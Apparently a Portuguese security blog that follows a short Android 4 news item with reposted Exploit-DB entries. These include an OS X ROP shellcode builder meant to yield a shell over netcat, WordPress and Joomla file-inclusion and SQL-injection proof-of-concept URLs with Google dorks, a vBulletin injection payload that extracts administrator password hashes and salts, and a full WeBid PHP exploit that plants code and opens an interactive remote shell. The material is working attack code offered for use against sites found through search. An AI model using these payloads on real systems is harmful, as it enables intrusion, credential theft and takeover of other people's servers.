Código Fonte do Android 4 será liberado antes do fim do ano

Standard

Bem, temos percebido que muitos leitores já estão buscando no Google o termo instalando android 4 no milestone 2 ou coisa do tipo (mudando somente o smartphone), só que, não é correto correr atrás dessas instalações agora, pois o Google Android 4 ainda nem foi liberado (source) aos desenvolvedores. Segundo noticiado (pelo Notícias Linux e H-Online) brevemente veremos o código fonte disponível. Há poucos dias falamos sobre especulações de que hardware conseguirá rodar o android 4 (requerimentos mínimos para rodar android 4). Esperamos que os geeks do MIUI e CyanogenMod toquem no fonte e façam algum milagre para dar mais vida ainda aos nossos smartphones. (como já têm feito)

Fonte: http://www.h-online.com/open/news/item/Andy-Rubin-Android-4-0-to-be-open-sourced-by-year-end-1363994.html

OSX universal ROP shellcode Testado no SNOW LEOPARD

Standard


; universal OSX dyld ROP shellcode
; tested on OS X 10.6.8
;
; if you don't want to compile, copy stage0 code from precompiled.txt
; and append your normal shellcode to it.
;
; usage:
; - put your 'normal' shellcode in x64_shellcode.asm
; - make
; - ./sc
;
; if you want to test:
; - uncomment lea rsp, [rel rop_stage0] / ret
; - make
; - nc -l 4444
; - ./sc
; - you should get a shell over nc
;
; see my blog, if you want to know how this works:
; http://gdtr.wordpress.com
;
; greets to Jacob Hammack, for his reverse tcp shellcode (hammackj.com).
;
; pa_kt
; twitter.com/pa_kt

extern _printf

global _main

;————————————————–
;- DATA
;————————————————–
section .data

rw_area equ 0x00007FFF5FC50000
rwx_area equ rw_area+0x1000
vm_prot equ 0x00007FFF5FC0D356
fake_stack equ rw_area+0x2000
fake_frame equ fake_stack+0x100
r12_zero equ rw_area-0x1000

rax_off equ rw_area-8
rbx_off equ rw_area+8-8
rcx_off equ rw_area+0x10-8
rdx_off equ rw_area+0x18-8
rsi_off equ rw_area+0x28-8
rbp_off equ rw_area+0x30-8
rsp_off equ rw_area+0x38-8
r8_off equ rw_area+0x40-8
r12_off equ rw_area+0x60-8

pop_rdi equ 0x00007FFF5FC24CDC
pop_rbx equ 0x00007FFF5FC23373
store_reg equ 0x00007FFF5FC24CE1
set_regs equ 0x00007FFF5FC24CA1

c_rwx equ 7
c_size equ 0x1000
c_addr equ rwx_area
c_set_max equ 0

dbg_ret equ 0x00007FFF5FC24C4B

; copy shellcode to RWX area
; size = 0x1000
stub:
lea rsi, [r15+saved_rsp_off+copy_stub_size+rop_post_size]
xor rcx, rcx
inc rcx
shl rcx, 12 ;rcx = 0x1000
lea rdi, [rel normal_shellcode]
rep movsb
;int 3
normal_shellcode:

stub_size equ $-stub

; order is important
rop_pre dq pop_rdi, rcx_off, pop_rbx, c_set_max, store_reg,
dq pop_rdi, rdx_off, pop_rbx, c_size, store_reg,
dq pop_rdi, rsi_off, pop_rbx, c_addr, store_reg,
dq pop_rdi, rbp_off, pop_rbx, fake_frame, store_reg,
dq pop_rdi, rsp_off, pop_rbx, fake_stack, store_reg,
dq pop_rdi, r8_off, pop_rbx, c_rwx, store_reg,
dq pop_rdi, r12_off, pop_rbx, r12_zero, store_reg,

; set fake stack
dq pop_rdi, fake_stack+8-8, pop_rbx, vm_prot, store_reg,

; set fake frame (return address -> rwx page)
dq pop_rdi, fake_frame-8-0x38, store_reg,
saved_rsp:
dq pop_rdi, fake_frame+8-8, pop_rbx, rwx_area, store_reg,

rop_pre_size equ $-rop_pre
saved_rsp_off equ $-saved_rsp-8

rop_post dq dbg_ret

; set all regs and jump to vm_prot
dq pop_rdi, rw_area, set_regs
; marker
; dq 0x1111111111111111

rop_post_size equ $-rop_post

x64_shellcode: incbin “x64_shellcode”
x64_shellcode_size equ $-x64_shellcode

hello db “test”, 0
fmt db “x%02x”,0

section .bss

rop_stage0 resq 100
copy_stub resq ((stub_size+7)/8)*5
copy_stub_size equ $-copy_stub

;————————————————–
;- CODE
;————————————————–
section .text

prep_stub:

mov rcx, (stub_size+7)/8
mov rsi, stub
mov rdi, copy_stub
mov rbx, rwx_area-8
go:
mov rax, pop_rdi
stosq
mov rax, rbx
stosq
mov rax, pop_rbx
stosq
movsq
mov rax, store_reg
stosq
add rbx, 8
loop go
ret

make_stage0:
mov rsi, rop_pre
mov rdi, rop_stage0
mov rcx, rop_pre_size
rep movsb

mov rsi, copy_stub
mov rcx, copy_stub_size
rep movsb

mov rsi, rop_post
mov rcx, rop_post_size
rep movsb

mov rsi, x64_shellcode
mov rcx, x64_shellcode_size
rep movsb

ret

print_it:
push rbp
mov rbp, rsp

mov rcx, rop_pre_size + copy_stub_size + rop_post_size + x64_shellcode_size
lea rsi, [rel rop_stage0]
xor rax, rax
one_char:
lodsb
push rsi
push rcx
mov rsi, rax
mov rdi, qword fmt
xor rax, rax
call _printf
pop rcx
pop rsi
loop one_char

leave
ret

_main:
push qword rbp
mov rbp, rsp

call prep_stub
call make_stage0

call print_it

;lea rsp, [rel rop_stage0]
;ret

leave
ret

Fonte: http://www.exploit-db.com/exploits/17564/

WordPress Mini Mail Dashboard Widget Plugin 1.36 Remote File Inclusion

Standard


# Exploit Title: Mini Mail Dashboard Widget WordPress plugin RFI
# Google Dork: inurl:wp-content/plugins/mini-mail-dashboard-widget
# Date: 09/19/2011
# Author: Ben Schmidt (supernothing (AT) spareclockcycles.org @_supernothing)
# Software Link: http://wordpress.org/extend/plugins/mini-mail-dashboard-widget/download/
# Version: 1.36 (tested)


PoC

http://SERVER/WP_PATH/wp-content/plugins/mini-mail-dashboard-widgetwp-mini-mail.php?abspath=RFI (requires POSTing a file with ID wpmm-upload for this to work)


Vulnerable Code

if (isset($_FILES[‘wpmm-upload’])) {
// Create WordPress environmnt
require_once(urldecode($_REQUEST[‘abspath’]) . ‘wp-load.php’);

// Handle attachment
WPMiniMail::wpmm_upload();
}

Fonte: http://www.exploit-db.com/exploits/17868/

WordPress Event Registration plugin

Standard


# Exploit Title: WordPress Event Registration plugin < = 5.4.3 SQL Injection Vulnerability # Date: 2011-08-30 # Author: Miroslav Stampar (miroslav.stampar(at)gmail.com @stamparm) # Software Link: http://downloads.wordpress.org/plugin/event-registration.5.43.zip # Version: 5.4.3 (tested) # Note: magic_quotes has to be turned off --- PoC --- http://www.site.com/wp-content/plugins/event-registration/event_registration_export.php?id=-1' AND 1=IF(2>1,BENCHMARK(5000000,MD5(CHAR(115,113,108,109,97,112))),0)--%20

---------------
Vulnerable code
---------------
$id= $_REQUEST['id'];
...
$sql = "SELECT * FROM " . $events_detail_tbl . " WHERE id='$id'";
$result = mysql_query($sql);

Fonte: http://www.exploit-db.com/exploits/17751/

Joomla Component mod_spo SQL Injection Vulnerability

Standard


# Exploit Title: Simple Page Option LFI
# Google Dork: inurl:mod_spo
# Date: 15/07/2011
# Author: SeguridadBlanca.Blogspot.com or SeguridadBlanca
# Software Link: http://joomlacode.org/gf/download/frsrelease/11841/47776/mod_spo_1.5.16.zip
# Version: 1.5.x
# Tested on: Backtrack and Windows 7

Simple Page Option – LFI
Vulnerable-Code:
$s_lang
=& JRequest::getVar('spo_site_lang');
(file_exists(dirname(__FILE__).DS.'languages'.DS.$s_lang.'.php'))
? include(dirname(__FILE__).DS.'languages'.DS.$s_lang.'.php')
: include(dirname(__FILE__).DS.'languages'.DS.'english.php');
Vulnerable-Var:
spo_site_lang=

Expl0iting:
http://www.xxx.com/home/modules/mod_spo/email_sender.php?also_email_to=sample@email.tst&spo_f_email[0]=sample@email.tst&spo_message=20&spo_msg_ftr=This%20contact%20message%20was%20generated%20using
%20Simple%20Page%20Options%20Module%20from%20SITEURL.&spo_send_type=&spo_site_lang=../../../../../../../../../../etc/passwd% 00&spo_site_name=Alfredo%20Arauz&spo_url_type=1&spo_url2se

Reparing?:
Just Filter with str_replace(); or htaccess protection to the vulnerable file.

gr33tz: Alfredo Arauz, SeguridadBlanca.Blogspot.com, Ecuador and Perú Security.

Vbulletin 4.0.x => 4.1.3 (messagegroupid) SQL injection Vulnerability 0-day

Standard


# Exploit Title: Vbulletin 4.0.x => 4.1.3 (messagegroupid) SQL injection Vulnerability 0-day
# Google Dork: intitle: powered by Vbulletin 4
# Date: 20/07/2011
# Author: FB1H2S
# Software Link: [[url]http://www.vbulletin.com/][/url]
# Version: [4.x.x]
# Tested on: [relevant os]
# CVE : [[url]http://members.vbulletin.com/][/url]

######################################################################################################
Vulnerability:
######################################################################################################

Vbulletin 4.x.x => 4.1.3 suffers from an SQL injection Vulnerability in parameter "&messagegroupid" due to improper input validation.

#####################################################################################################
Vulnerable Code:
#####################################################################################################

File: /vbforum/search/type/socialgroupmessage.php
Line No: 388
Paramater : messagegroupid

if ($registry->GPC_exists['messagegroupid'] AND count($registry->GPC['messagegroupid']) > 0)

{

$value = $registry->GPC['messagegroupid'];

if (!is_array($value))

{

$value = array($value);

}

if (!(in_array(' ',$value) OR in_array('',$value)))

{

if ($rst = $vbulletin->db->query_read("

SELECT socialgroup.name

FROM " . TABLE_PREFIX."socialgroup AS socialgroup

---> WHERE socialgroup.groupid IN (" . implode(', ', $value) .")")

}

############################################################################################
Exploitation:
############################################################################################
Post data on: -->search.php?search_type=1
--> Search Single Content Type

Keywords : Valid Group Message

Search Type : Group Messages

Search in Group : Valid Group Id

&messagegroupid[0]=3 ) UNION SELECT concat(username,0x3a,email,0x3a,password,0x3a,salt) FROM user WHERE userid=1#

##########################################################################################
More Details:
##########################################################################################
Http://www.Garage4Hackers.com
http://www.garage4hackers.com/showthread.php?1177-Vbulletin-4.0.x-gt-4.1.3-(messagegroupid)-SQL-injection-Vulnerability-0-day

###########################################################################################
Note:
###########################################################################################

Funny part was that, a similar bug was found in the same module, search query two months back. Any way Vbulletin has released a patch as it was reported to them by altex, hence
customers are safe except those lowsy Admins. And this bug is for people to play with the many Nulled VB sites out there. " Say No to Piracy Disclosure ".

WeBid

Standard

/*

------------------------------------------------------------
WeBid <= 1.0.2 (converter.php) Remote Code Execution Exploit
------------------------------------------------------------

author...: EgiX
mail.....: n0b0d13s[at]gmail[dot]com
link.....: http://www.webidsupport.com/

This PoC was written for educational purpose. Use it at your own risk.
Author will be not responsible for any damage.

[-] Vulnerable code to SQL injection in feedback.php:

154. $query = "SELECT title FROM " . $DBPrefix . "auctions WHERE id = " . $_REQUEST['auction_id'] . " LIMIT 1";
155. $res = mysql_query($query);
156. $system->check_mysql($res, $query, __LINE__, __FILE__);
157. $item_title = mysql_result($res, 0, 'title');

Input passed through $_REQUEST['auction_id'] isn't properly sanitised before being used in the SQL query at line 154.

[-] Vulnerable code to SQL injection (works with magic_quotes_gpc = off) in logout.php:

21. if (isset($_COOKIE['WEBID_RM_ID']))
22. {
23. $query = "DELETE FROM " . $DBPrefix . "rememberme WHERE hashkey = '" . $_COOKIE['WEBID_RM_ID'] . "'";
24. $system->check_mysql(mysql_query($query), $query, __LINE__, __FILE__);
25. setcookie('WEBID_RM_ID', '', time() - 3600);
26. }

Input passed through $_COOKIE['WEBID_RM_ID'] isn't properly sanitised before being used in the SQL query at line 23.

[-] Vulnerable code to SQL injection (works with magic_quotes_gpc = off) in user_login.php:

84. if (isset($_COOKIE['WEBID_ONLINE']))
85. {
86. $query = "DELETE from " . $DBPrefix . "online WHERE SESSION = '" . $_COOKIE['WEBID_ONLINE'] . "'";
87. $system->check_mysql(mysql_query($query), $query, __LINE__, __FILE__);
88. }

Input passed through $_COOKIE['WEBID_ONLINE'] isn't properly sanitised before being used in the SQL query at line 86.

[-] Vulnerable code to arbitrary PHP code jnjection (works with magic_quotes_gpc = off) in /includes/converter.inc.php:

61. function buildcache($newaarray)
62. {
63. global $include_path;
64.
65. $output_filename = $include_path . 'currencies.php';
66. $output = " 67. $output.= "$conversionarray[] = '" . time() . "';n";
68. $output.= "$conversionarray[] = array(n";
69.
70. for ($i = 0; $i < count($newaarray); $i++)
71. {
72. $output .= "t" . "array('from' => '" . $newaarray[$i]['from'] . "', 'to' => '" . $newaarray[$i]['to'] . "', 'rate' => '" . $newaarray[$i]['rate'] . "')";
73. if ($i < (count($newaarray) - 1))
74. {
75. $output .= ",n";
76. }
77. else
78. {
79. $output .= "n";
80. }
81. }
82.
83. $output .= ");n?>n";
84.
85. $handle = fopen($output_filename, 'w');
86. fputs($handle, $output);
87. fclose($handle);
88. }

Input passed to buildcache() function through $_POST['from'] or $_POST['to'] isn't properly sanitised before being
written to currencies.php file, this can lead to arbitrary PHP code injection.

[-] Vulnerable code to LFI (works with magic_quotes_gpc = off) in /includes/converter.inc.php:

18. if (isset($_GET['lan']) && !empty($_GET['lan']))
19. {
20. if ($user->logged_in)
21. {
22. $query = "UPDATE " . $DBPrefix . "users SET language = '" . mysql_real_escape_string($_GET['lan']) . "' WHERE id = " . $user->user_data['id'];
23. }
24. else
25. {
26. // Set language cookie
27. setcookie('USERLANGUAGE', $_GET['lan'], time() + 31536000, '/');
28. }
29. $language = $_GET['lan'];
30. }
31. elseif ($user->logged_in)
32. {
33. $language = $user->user_data['language'];
34. }
35. elseif (isset($_COOKIE['USERLANGUAGE']))
36. {
37. $language = $_COOKIE['USERLANGUAGE'];
38. }
39. else
40. {
41. $language = $system->SETTINGS['defaultlanguage'];
42. }
43.
44. if (!isset($language) || empty($language)) $language = $system->SETTINGS['defaultlanguage'];
45.
46. include $main_path . 'language/' . $language . '/messages.inc.php';

Input passed through $_GET['lan'] or $_COOKIE['USERLANGUAGE'] parameter isn't properly sanitised before

being used to include files on line 46. This can be exploited to include arbitrary local files.

[-] Information leak vulnerability into /logs directory, cause anyone can read cron.log and error.log

[-] Disclosure timeline:

[19/06/2011] - Vulnerabilities discovered
[19/06/2011] - Vendor contacted
[20/06/2011] - Vendor contacted again
[21/06/2011] - No response from vendor
[21/06/2011] - Issue reported to http://sourceforge.net/apps/mantisbt/simpleauction/view.php?id=34
[22/06/2011] - Issue reported to http://www.webidsupport.com/forums/project.php?do=issuelist&projectid=1
[22/06/2011] - Vendor responsed and released patches: http://www.webidsupport.com/forums/showthread.php?3892
[04/07/2011] - Public disclosure

*/

error_reporting(E_ERROR);
set_time_limit(0);

if (!extension_loaded("curl")) die("cURL extension requiredn");

$ch = curl_init();
curl_setopt($ch, CURLOPT_HEADER, 1);
curl_setopt($ch, CURLOPT_VERBOSE, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);

function http_post($page, $data)
{
global $ch, $url;

curl_setopt($ch, CURLOPT_URL, $url.$page);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $data);

return curl_exec($ch);
}

print "n+----------------------------------------------------------------------+";
print "n| WeBid <= 1.0.2 (converter.php) Remote Code Execution Exploit by EgiX |";
print "n+----------------------------------------------------------------------+n";

if ($argc < 2)
{
print "nUsage......: php $argv[0] n";
print "nExample....: php $argv[0] https://localhost/";
print "nExample....: php $argv[0] http://localhost/webid/n";
die();
}

$url = $argv[1];

$code = rawurlencode("'));print('_code_');passthru(base64_decode($_POST['c'])//");
http_post("converter.php", "action=convert&from=USD&to={$code}");

while(1)
{
print "nwebid-shell# ";
if (($cmd = trim(fgets(STDIN))) == "exit") break;
preg_match("/_code_(.*)/s", http_post("includes/currencies.php", "c=".base64_encode($cmd)), $m) ? print $m[1] : die("n[-] Exploit failedn");
}
?>

Fonte: http://www.exploit-db.com/exploits/17487/